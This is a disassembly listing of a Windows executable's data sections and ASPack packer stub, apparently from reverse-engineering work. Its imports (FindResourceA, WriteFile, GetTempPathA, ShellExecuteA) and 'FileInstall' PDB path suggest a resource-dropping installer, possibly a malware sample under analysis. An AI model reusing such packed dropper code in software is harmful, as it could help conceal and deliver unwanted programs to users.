aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: .text:004015F5o
					; sub_4018FC+123o
		align 4
aProgram	db 'Program: ',0        ; DATA XREF: .text:004015CBo
		align 10h
asc_4051B0	db 0Ah			; DATA XREF: .text:004015BFo
					; sub_4018FC+107o
		db 0Ah,0
		align 4
a___		db '...',0              ; DATA XREF: .text:0040158Fo
					; sub_4018FC+C1o
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: .text:0040154Eo
					; sub_4018FC+8Eo
		align 10h
aABufferOverrun	db 'A buffer overrun has been detected which has corrupted the progra'
					; DATA XREF: .text:00401525o
		db 'm',27h,'s',0Ah
		db 'internal state.  The program cannot safely continue execution and'
		db ' must',0Ah
		db 'now be terminated.',0Ah,0
aBufferOverrunD	db 'Buffer overrun detected!',0 ; DATA XREF: .text:loc_401520o
		align 10h
aASecurityError	db 'A security error of unknown cause has been detected which has',0Ah
					; DATA XREF: .text:0040150Fo
		db 'corrupted the program',27h,'s internal state.  The program cannot sa'
		db 'fely',0Ah
		db 'continue execution and must now be terminated.',0Ah,0
		align 4
aUnknownSecurit	db 'Unknown security failure detected!',0 ; DATA XREF: .text:0040150Ao
		align 4
stru_405368	_msEH <0FFFFFFFFh, offset sub_4014FB, offset sub_4014FF>
					; DATA XREF: .text:004014C8o
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: sub_401761+Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: sub_401761o
aRuntimeError	db 'runtime error ',0
		align 10h
		db 0Dh,0Ah,0
		align 4
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 4
aSingError	db 'SING error',0Dh,0Ah,0
		align 4
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 8
aR6029ThisAppli	db 'R6029',0Dh,0Ah
		db '- This application cannot run using the active version of the Mic'
		db 'rosoft .NET Runtime',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 10h
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_407044o
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4018FC+F5o
		db 0Ah
		db 'Program: ',0
word_405752	dw 0			; DATA XREF: sub_401C1D+1Bo
		align 8
stru_405758	_msEH <0FFFFFFFFh, offset loc_402249, offset loc_40224D>
					; DATA XREF: sub_40221C+2o
		align 8
stru_405768	_msEH <0FFFFFFFFh, offset sub_40228D, offset sub_402291>
					; DATA XREF: .text:00402262o
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: sub_40234D+73o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: sub_40234D+62o
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_40234D+47o
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_40234D+3Fo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_40234D+2Eo
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40234D+13o
		align 4
		dd 41h dup(0)
asc_4058E8:				; DATA XREF: .data:off_407280o
		unicode	0, <	     (((((		    H>
		dw 10h
		dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
		dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
		dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
		dd 100010h, 200010h, 40h dup(0)
dword_405AE8	dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
					; DATA XREF: .data:00407284o
		dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
		dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
		dd 3 dup(100010h), 3 dup(1820182h), 0Ah	dup(1020102h)
		dd 2 dup(100010h), 10h dup(200020h), 480020h, 8	dup(100010h)
		dd 140010h, 100014h, 2 dup(100010h), 100014h, 2	dup(100010h)
		dd 1010010h, 0Bh dup(1010101h),	1010010h, 3 dup(1010101h)
		dd 0Ch dup(1020102h), 1020010h,	3 dup(1020102h), 1010102h
dword_405CEC	dd 0			; DATA XREF: sub_403FCA+1Co
					; sub_404386+1Eo
stru_405CF0	_msEH <0FFFFFFFFh, offset loc_4042C3, offset loc_4042C7>
					; DATA XREF: sub_403FCA+2o
		dd 0FFFFFFFFh, 4040C0h,	4040C4h, 0FFFFFFFFh, 40418Eh, 404192h
		dd 0
stru_405D18	_msEH <0FFFFFFFFh, offset loc_40445F, offset loc_404463>
					; DATA XREF: sub_404386+2o
		align 8
stru_405D28	_msEH <0FFFFFFFFh, offset loc_404A15, offset loc_404A19>
					; DATA XREF: sub_404943+2o
		align 8
		dd 48h,	0Eh dup(0)
		dd offset dword_407030
		dd offset dword_405DE0
		dd 2, 53445352h, 0BEEBAFAAh, 425BF78Dh,	3B28229Ch, 50120460h
		dd 1
aPProjectsKlikt	db 'p:\Projects\Kliktanje\FileInstall\Release\FileInstall.pdb',0
		align 10h
dword_405DE0	dd 1660h, 272Ch, 0	; DATA XREF: .rdata:00405D78o
dword_405DEC	dd 2 dup(0)		; DATA XREF: sub_40221C+Co
					; sub_40221C:loc_40222Fo
dword_405DF4	dd 0			; DATA XREF: .text:0040226Co
					; sub_402291:loc_402273o
		dd offset dword_405F24
		dd 2 dup(0)
		dd offset dword_405F24
		dd offset dword_405F24
		dd offset dword_405F2C
		dd 2 dup(0)
		dd offset dword_405F2C
		dd offset dword_405F2C
		dd 5 dup(0)
		dd 5F30h, 5F3Eh, 5F4Ah,	5F58h, 5F68h, 5F7Ah, 5F8Ah, 5F9Ah
		dd 5FA8h, 5FB8h, 5FC6h,	5FD8h, 5FE8h, 5FF4h, 6000h, 6016h
		dd 6348h, 6336h, 6056h,	6064h, 6078h, 608Ah, 609Ch, 60ACh
		dd 60C6h, 60D6h, 60ECh,	6102h, 611Ch, 6130h, 6144h, 6154h
		dd 6170h, 618Ah, 61A2h,	61BCh, 61D2h, 61E2h, 61FCh, 620Eh
		dd 621Ch, 622Ah, 6238h,	6246h, 6252h, 625Eh, 6274h, 6284h
		dd 628Eh, 629Ah, 62A6h,	62B2h, 62C2h, 62D0h, 62DCh, 62ECh
		dd 6302h, 6312h, 6324h,	635Ah
dword_405F24	dd 0			; DATA XREF: .rdata:00405DF8o
					; .rdata:00405E04o ...
		dd 603Ah
dword_405F2C	dd 0			; DATA XREF: .rdata:00405E0Co
					; .rdata:00405E18o ...
		db  2Eh	; .
		align 2
aClosehandle	db 'CloseHandle',0
		dw 394h
aWritefile	db 'WriteFile',0
aM		db 'M',0
aCreatefilea	db 'CreateFileA',0
		db  5Bh	; [
		db 2, 4Ch, 6Fh
aCkresource	db 'ckResource',0
		align 4
		db  46h	; F
		db 3, 53h, 69h
aZeofresource	db 'zeofResource',0
		align 2
		dw 24Dh
aLoadresource	db 'LoadResource',0
		align 2
		db 'Ú',0
aFindresourcea	db 'FindResourceA',0
		dw 265h
aMovefileexa	db 'MoveFileExA',0
		db 0CBh	; Ë
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		align 4
aQ		db 'ï',0
aFreelibrary	db 'FreeLibrary',0
		dw 198h
aGetprocaddress	db 'GetProcAddress',0
		align 4
		db  48h	; H
		db 2, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db 0ADh	; ­
		db 3, 6Ch, 73h
aTrcata		db 'trcatA',0
		align 4
		db 0B9h	; ¹
		db 3, 6Ch, 73h
aTrcpyna	db 'trcpynA',0
		db 0B9h	; ¹
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 175h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
aKernel32_dll	db 'KERNEL32.dll',0
		align 2
		dw 106h
aShellexecutea	db 'ShellExecuteA',0
aShell32_dll	db 'SHELL32.dll',0
aP		db '¯',0
aExitprocess	db 'ExitProcess',0
		db  77h	; w
		db 1, 47h, 65h
aTmodulehandlea	db 'tModuleHandleA',0
		align 4
		db 0AFh	; ¯
		db 1, 47h, 65h
aTstartupinfoa	db 'tStartupInfoA',0
		dw 108h
aGetcommandline	db 'GetCommandLineA',0
		db 0DFh	; ß
		db 1, 47h, 65h
aTversionexa	db 'tVersionExA',0
		db  97h	; —
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceCounter',0
		dw 1D5h
aGettickcount	db 'GetTickCount',0
		align 2
		dw 13Eh
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 4
		db  3Bh	; ;
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcessId',0
		dw 1C0h
aGetsystemtimea	db 'GetSystemTimeAsFileTime',0
		db  4Fh	; O
		db 3, 54h, 65h
aRminateprocess	db 'rminateProcess',0
		align 10h
		db  3Ah	; :
		db 1, 47h, 65h
aTcurrentproc_0	db 'tCurrentProcess',0
		db 0B1h	; ±
		db 1, 47h, 65h
aTstdhandle	db 'tStdHandle',0
		align 4
		db  60h	; `
		db 3, 55h, 6Eh
aHandledexcepti	db 'handledExceptionFilter',0
		align 10h
aA		db 'í',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		dw 14Dh
aGetenvironment	db 'GetEnvironmentStrings',0
aU		db 'î',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		db  87h	; ‡
		db 3, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		dw 169h
aGetlasterror	db 'GetLastError',0
		align 2
		dw 14Fh
aGetenvironme_0	db 'GetEnvironmentStringsW',0
		align 4
		dd 65530317h, 6E614874h, 43656C64h, 746E756Fh, 15E0000h
		dd 46746547h, 54656C69h, 657079h, 6548020Ah, 65447061h
		dd 6F727473h, 2080079h,	70616548h, 61657243h, 6574h, 69560376h
		dd 61757472h, 6572466Ch, 20C0065h, 70616548h, 65657246h
		dd 2CA0000h, 556C7452h,	6E69776Eh, 21F0064h
aInterlockedexc	db 'InterlockedExchange',0
		db  7Bh	; {
		db 3, 56h, 69h
aRtualquery	db 'rtualQuery',0
		align 4
		db 0F5h	; õ
		align 2
aGetacp		db 'GetACP',0
		align 2
		dw 18Bh
aGetoemcp	db 'GetOEMCP',0
		align 2
		dw 0FCh
aGetcpinfo	db 'GetCPInfo',0
		dw 206h
aHeapalloc	db 'HeapAlloc',0
		dw 373h
aVirtualalloc	db 'VirtualAlloc',0
		align 2
		dw 210h
aHeaprealloc	db 'HeapReAlloc',0
		db  12h
		db 2, 48h, 65h
aApsize		db 'apSize',0
		align 4
		db  3Ah	; :
		db 2, 4Ch, 43h
aMapstringa	db 'MapStringA',0
		align 4
		db  6Bh	; k
		db 2, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		dw 23Bh
aLcmapstringw	db 'LCMapStringW',0
		align 2
		dw 1B2h
aGetstringtypea	db 'GetStringTypeA',0
		align 4
		dd 654701B5h, 72745374h, 54676E69h, 57657079h, 16C0000h
		dd 4C746547h, 6C61636Fh, 666E4965h, 416Fh, 69560379h, 61757472h
		dd 6F72506Ch, 74636574h, 1BB0000h, 53746547h, 65747379h
		dd 666E496Dh, 6Fh, 325h	dup(0)
_rdata		ends

; Section 3. (virtual address 00007000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00007000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 407000h
dword_407000	dd 0			; DATA XREF: sub_401761+75o
		dd offset sub_40145D
dword_407008	dd 0			; DATA XREF: sub_401761+7Co
dword_40700C	dd 0			; DATA XREF: sub_401761+42o
		dd offset sub_402AB7
		dd offset sub_402EED
dword_407018	dd 0			; DATA XREF: sub_401761+47o
dword_40701C	dd 0			; DATA XREF: sub_4017FB:loc_401862o
dword_407020	dd 0			; DATA XREF: sub_4017FB+6Co
dword_407024	dd 0			; CODE XREF: sub_401761+23p
					; DATA XREF: sub_4017FB:loc_401881o
dword_407028	dd 2 dup(0)		; DATA XREF: sub_4017FB+8Bo
dword_407030	dd 0FCEE04D4h		; DATA XREF: sub_401090+6r sub_40124Er ...
off_407034	dd offset sub_4018CD	; DATA XREF: sub_40125C+1Cr
dword_407038	dd 2			; DATA XREF: sub_4018FC+58r
					; sub_401A73+Er
		align 10h
dword_407040	dd 2			; DATA XREF: sub_4018FC:loc_401922r
					; sub_4018FC+3Ar
off_407044	dd offset aR6002FloatingP ; DATA XREF: sub_4018FC+D5r
					; sub_4018FC+112r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 4056E4h, 9, 4056B8h, 0Ah,	405620h, 10h, 4055F4h
		dd 11h,	4055C4h, 12h, 4055A0h, 13h, 405574h, 18h, 40553Ch
		dd 19h,	405514h, 1Ah, 4054DCh, 1Bh, 4054A4h, 1Ch, 40547Ch
		dd 1Dh,	4053D8h, 78h, 4053C4h, 79h, 4053B4h, 7Ah, 4053A4h
		dd 0FCh, 4053A0h, 0FFh,	405390h
dword_4070D8	dd 0C0000005h, 0Bh, 0	; DATA XREF: sub_401AAC+Co
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_407150	dd 3			; DATA XREF: sub_401AAC+84r
dword_407154	dd 7			; DATA XREF: sub_401AAC+89r
dword_407158	dd 0Ah			; DATA XREF: sub_401AAC+6r
dword_40715C	dd 8Ch			; DATA XREF: sub_401AAC+B2r
					; sub_401AAC+BAw ...
		dd 0FFFFFFFFh, 0A80h, 10h, 0
dword_407170	dd 19930520h, 3	dup(0)	; DATA XREF: .text:004027DBo
					; sub_4027E2+2o
byte_407180	db 1			; DATA XREF: sub_402D07+120r
		db 2, 4, 8
		align 8
dword_407188	dd 3A4h			; DATA XREF: sub_402D07:loc_402D82r
dword_40718C	dd 82798260h		; DATA XREF: sub_402D07+15Cr
		dd 21h,	0
dword_407198	dd 0DFA6h		; DATA XREF: sub_402D07+100r
		align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 3 dup(0)
off_407280	dd offset asc_4058E8	; DATA XREF: sub_402ADF+18r
					; sub_404CC2:loc_404D44r ...
					; "	    (((((		   H"
		dd offset dword_405AE8+2
		dd 1, 0
dword_407290	dd 1			; DATA XREF: sub_404CC2:loc_404D2Fr
		dd 2Eh,	1, 0
dword_4072A0	dd 0			; DATA XREF: .text:0040139Dw
					; sub_401C7A:loc_401C8Cr ...
		align 8
dword_4072A8	dd 0			; DATA XREF: sub_40125Cr
					; .text:00401353r ...
dword_4072AC	dd 0			; DATA XREF: .text:004014DAr
		dd 3 dup(0)
dword_4072BC	dd 2			; DATA XREF: .text:004012AAw
					; sub_4022A4r ...
dword_4072C0	dd 0A28h		; DATA XREF: .text:004012CAw
					; .text:004012DBw
dword_4072C4	dd 501h			; DATA XREF: .text:004012E6w
dword_4072C8	dd 5			; DATA XREF: .text:004012B3w
					; sub_4022A4+9r ...
dword_4072CC	dd 1			; DATA XREF: .text:004012BBw
dword_4072D0	dd 1			; DATA XREF: sub_401EAD+8Fw
dword_4072D4	dd 370B20h		; DATA XREF: sub_401EAD+95w
		dd 0
dword_4072DC	dd 370B40h		; DATA XREF: sub_401C7A+48w
					; sub_401C7A:loc_401D2Br ...
		dd 3 dup(0)
off_4072EC	dd offset aCM_unpackerPac ; DATA XREF: sub_401EAD+37w
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4072F4	db 0			; DATA XREF: sub_4017FB+2Dw
		align 4
dword_4072F8	dd 1			; DATA XREF: sub_4017FB+27w
dword_4072FC	dd 1			; DATA XREF: sub_4017FB+7r
					; sub_4017FB+B0w
dword_407300	dd 0			; DATA XREF: sub_401A73+21r
dword_407304	dd 0			; DATA XREF: sub_401AAC+68r
					; sub_401AAC+73w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_401EAD+1Co
					; .data:off_4072ECo
		align 4
		dd 3Ah dup(0)
byte_40740C	db 0			; DATA XREF: sub_401EAD+23w
		align 10h
dword_407410	dd 1			; DATA XREF: sub_401F4F+2r
					; sub_401F4F+24w ...
dword_407414	dd 0			; DATA XREF: sub_40234D+9r
					; sub_40234D+38w ...
dword_407418	dd 0			; DATA XREF: sub_40234D+4Dw
					; sub_40234D:loc_402412r
dword_40741C	dd 0			; DATA XREF: sub_40234D+5Bw
					; sub_40234D+D6r
dword_407420	dd 0			; DATA XREF: sub_40234D+7Bw
					; sub_40234D:loc_4023CDr
dword_407424	dd 0			; DATA XREF: sub_40234D+6Cw
					; sub_40234D+9Cr
dword_407428	dd 0			; DATA XREF: sub_4027FA:loc_402881r
					; sub_4027FA+13Fr ...
		align 10h
dword_407430	dd 0			; DATA XREF: sub_4027FA:loc_402894r
					; sub_4027FA+1C4r ...
		dd 0Fh dup(0)
dword_407470	dd 0			; DATA XREF: sub_4027FA+12Co
					; sub_4027FA+191o ...
dword_407474	dd 1			; DATA XREF: sub_402D07+19w
					; sub_402D07+21w ...
		align 10h
dword_407480	dd 0			; DATA XREF: sub_403FCA+265r
					; sub_404386+14Ar ...
		align 10h
dword_407490	dd 0			; DATA XREF: sub_402D07+4Fr
					; sub_403FCA+9Dr ...
		align 8
dword_407498	dd 1			; DATA XREF: sub_403FCA+Er
					; sub_403FCA+31w ...
dword_40749C	dd 1			; DATA XREF: sub_404386+Er
					; sub_404386+2Ew ...
dword_4074A0	dd 0			; DATA XREF: sub_404540r
dword_4074A4	dd 0			; DATA XREF: sub_402FB5r
					; sub_403E30:loc_403F39r ...
dword_4074A8	dd 0			; DATA XREF: sub_40330D+21w
					; sub_403380+21Cr ...
dword_4074AC	dd 0			; DATA XREF: sub_40330D+28w
					; sub_403355r ...
dword_4074B0	dd 0			; DATA XREF: sub_40330D+15w
					; sub_403355+8r ...
dword_4074B4	dd 0			; DATA XREF: sub_402F43+Er
					; sub_40330D+36w ...
dword_4074B8	dd 0			; DATA XREF: sub_40330D+2Fw
					; sub_403380+300w ...
dword_4074BC	dd 0			; DATA XREF: sub_40330D+3Cw
					; sub_403698+5r ...
dword_4074C0	dd 0			; DATA XREF: sub_403380+229r
					; sub_403380+249r ...
dword_4074C4	dd 0			; DATA XREF: sub_402B52+1Aw
					; sub_402B7B+84r ...
dword_4074C8	dd 0			; DATA XREF: sub_402B52+15w
					; sub_402D07+14Dw ...
		dd 5 dup(0)
byte_4074E0	db 0			; DATA XREF: sub_402B52+6o
					; sub_402D07+A7o ...
byte_4074E1	db 0			; DATA XREF: sub_401D41+47r
					; sub_401D41+11Dr ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4075E4	dd 4E4h			; DATA XREF: sub_402B52+10w
					; sub_402B7B+16r ...
		align 10h
dword_4075F0	dd 4 dup(0)		; DATA XREF: sub_402B52+1Fo
					; sub_402D07+162o ...
byte_407600	db 0			; DATA XREF: sub_402B7B:loc_402C8Dw
					; sub_402B7B:loc_402CAAw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
dword_407700	dd 370000h		; DATA XREF: sub_4022BE+19w
					; sub_4022BE+3Er ...
dword_407704	dd 1			; DATA XREF: sub_4022BE+28w
					; sub_402F0B+9r ...
dword_407708	dd 20h			; DATA XREF: sub_402071+1Fw
					; sub_402071:loc_4020FAr ...
		dd 5 dup(0)
dword_407720	dd 370650h		; DATA XREF: sub_402071:loc_40208Bw
					; sub_402071+3Cr ...
dword_407724	dd 3Fh dup(0)		; DATA XREF: sub_402071+91o
dword_407820	dd 1			; DATA XREF: sub_401C7A+9Fw
dword_407824	dd 370754h		; DATA XREF: sub_4017FB+3Er
					; sub_4017FB:loc_40184Dr ...
dword_407828	dd 370758h		; DATA XREF: sub_4017FB+34r
					; sub_4017FB+5Ar ...
dword_40782C	dd 1			; DATA XREF: sub_401C1D+4r
					; sub_401C7A+3r ...
dword_407830	dd 0			; DATA XREF: sub_401761:loc_401791r
dword_407834	dd 142340h		; DATA XREF: .text:00401393w
					; sub_401C1D:loc_401C2Er ...
		align 800h
_data		ends

; Section 5. (virtual address 0002C000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 0002C000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_aspack		segment	para public 'DATA' use32
		assume cs:_aspack
		;org 42C000h
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

		public start

start		proc near
		pusha
		call	near ptr loc_42C007+3

loc_42C007:				; CODE XREF: start+1p
		jmp	near ptr 459FC4F7h
start		endp

; ---------------------------------------------------------------------------
		dd 1E8C355h, 0EB000000h, 0FFEDBB5Dh, 0DD03FFFFh, 0C000EB81h
		dd 0BD830002h, 422h, 229D8900h,	0F000004h, 36585h, 2E858D00h
		dd 50000004h, 0F4D95FFh, 85890000h, 426h, 5D8DF88Bh, 0FF50535Eh
		dd 0F4995h, 4D858900h, 8D000005h, 57536B5Dh, 0F4995FFh
		dd 85890000h, 551h, 0FF77458Dh,	726956E0h, 6C617574h, 6F6C6C41h
		dd 69560063h, 61757472h, 6572466Ch, 9D8B0065h, 531h, 0A74DB0Bh
		dd 8587038Bh, 535h, 0B58D0389h,	569h, 0F003E83h, 12184h
		dd 68046A00h, 1000h, 180068h, 0FF006A00h, 54D95h, 56858900h
		dd 8B000001h, 0E050446h, 6A000001h, 10006804h, 6A500000h
		dd 4D95FF00h, 89000005h, 15285h, 1E8B5600h, 4229D03h, 0B5FF0000h
		dd 156h, 500476FFh, 56EE853h, 1B30000h,	7500FB80h, 0EC85FE5Eh
		dd 8B000000h, 22BD033Eh, 0FF000004h, 0C307C637h, 78FD7FFh
		dd 53565150h, 0E983C88Bh, 52B58B06h, 33000001h,	74C90BDBh
		dd 0AC2C782Eh, 0A74E83Ch, 0E93C00EBh, 49430474h, 68BEBEBh
		dd 3E8000EBh, 24F37503h, 18C0C100h, 689C32Bh, 8305C383h
		dd 0E98304C6h, 5BCEEB05h, 0EB58595Eh, 39000008h, 37000000h
		dd 8BC88B00h, 22BD033Eh, 8B000004h, 152B5h, 2F9C100h, 0C88BA5F3h
		dd 0F303E183h, 685EA4h,	6A000080h, 52B5FF00h, 0FF000001h
		dd 55195h, 8C68300h, 0F003E83h,	0FFFF1E85h, 800068FFh
		dd 6A0000h, 156B5FFh, 95FF0000h, 551h, 5319D8Bh, 0DB0B0000h
		dd 38B0874h, 5358587h, 958B0000h, 422h,	52D858Bh, 0D02B0000h
		dd 0C28B7974h, 3310E8C1h, 39B58BDBh, 3000005h, 422B5h
		dd 3E8300h, 4E8B6174h, 8E98304h, 3E8BE9D1h, 422BD03h, 0C6830000h
		dd 1E8B6608h, 830CEBC1h, 0C7401FBh, 7402FB83h, 3FB8316h
		dd 2CEB2074h, 811E8B66h, 0FFFE3h, 4016600h, 661DEB1Fh
		dd 0E3811E8Bh, 0FFFh, 1F140166h, 8B660EEBh, 0FFE3811Eh
		dd 100000Fh, 0EB1F14h, 0FF0E8366h, 0E202C683h, 8B9AEBB4h
		dd 42295h, 41B58B00h, 0B000005h, 31174F6h, 0C00BADF2h
		dd 0C2030A74h, 0AD66F88Bh, 0F1EBAB66h, 5DF8BEh,	22958B00h
		dd 3000004h, 0C468BF2h,	840FC085h, 10Ah, 0D88BC203h, 4D95FF50h
		dd 8500000Fh, 530775C0h, 0F5195FFh, 85890000h, 545h, 54985C7h
		dd 0
		dd 958B0000h, 422h, 0C085068Bh,	468B0375h, 3C20310h, 54985h
		dd 8B188B00h, 0FA03107Eh, 549BD03h, 0DB850000h,	0A2840Fh
		dd 0C3F70000h, 80000000h, 0DA030475h, 81534343h, 0FFFFFFE3h
		dd 0B5FF537Fh, 545h, 0F4995FFh,	0C0850000h, 0F76F755Bh
		dd 0C3h, 57197580h, 30C468Bh, 42285h, 8D535000h, 47585h
		dd 0E9575000h, 98h, 0FFFFE381h,	858B7FFFh, 426h, 5458539h
		dd 24750000h, 4AD38B57h, 8B02E2C1h, 5459Dh, 3C7B8B00h
		dd 783B7C8Bh, 1C3B5C03h, 313048Bh, 54585h, 16EB5F00h, 0C468B57h
		dd 4228503h, 53500000h,	4C6858Dh, 57500000h, 7894AEBh
		dd 5498583h, 0E9040000h, 0FFFFFF32h, 46890689h,	1046890Ch
		dd 8B14C683h, 42295h, 0FEEBE900h, 81B8FFFFh, 50000012h
		dd 4228503h, 0B590000h,	0A88589C9h, 61000003h, 1B80875h
		dd 0C2000000h, 8168000Ch, 0C3004012h, 426858Bh,	8D8D0000h
		dd 43Bh, 95FF5051h, 0F49h, 5558589h, 858D0000h,	447h, 5195FF50h
		dd 8900000Fh, 42A85h, 528D8D00h, 51000004h, 4995FF50h
		dd 8900000Fh, 55985h, 2A858B00h, 8D000004h, 45E8Dh, 0FF505100h
		dd 0F4995h, 83D0FF00h, 6A5F10C4h, 689D8D30h, 53000004h
		dd 0FF006A57h, 55995h, 0FFFF6A00h, 55595h, 40000000h, 0E6000000h
		dd 77h,	72656B00h, 336C656Eh, 6C642E32h, 7845006Ch, 72507469h
		dd 7365636Fh, 73750073h, 32337265h, 6C6C642Eh, 73654D00h
		dd 65676173h, 41786F42h, 70737700h, 746E6972h, 4C004166h
		dd 4544414Fh, 52452052h, 524F52h, 20656854h, 636F7270h
		dd 72756465h, 6E652065h, 20797274h, 6E696F70h, 73252074h
		dd 756F6320h, 6E20646Ch, 6220746Fh, 6F6C2065h, 65746163h
		dd 6E692064h, 65687420h, 6E796420h, 63696D61h, 6E696C20h
		dd 696C206Bh, 72617262h, 73252079h, 65685400h, 64726F20h
		dd 6C616E69h, 20752520h, 6C756F63h, 6F6E2064h, 65622074h
		dd 636F6C20h, 64657461h, 206E6920h, 20656874h, 616E7964h
		dd 2063696Dh, 6B6E696Ch, 62696C20h, 79726172h, 732520h
		dd 248EBA52h, 0AAC9C3Bh, 321474C0h, 0D108B0D0h,	810673EAh
		dd 0A7F39AF2h, 75C8FEC1h, 92E7EBF2h, 0DB87C35Ah, 400000h
		dd 5 dup(0)
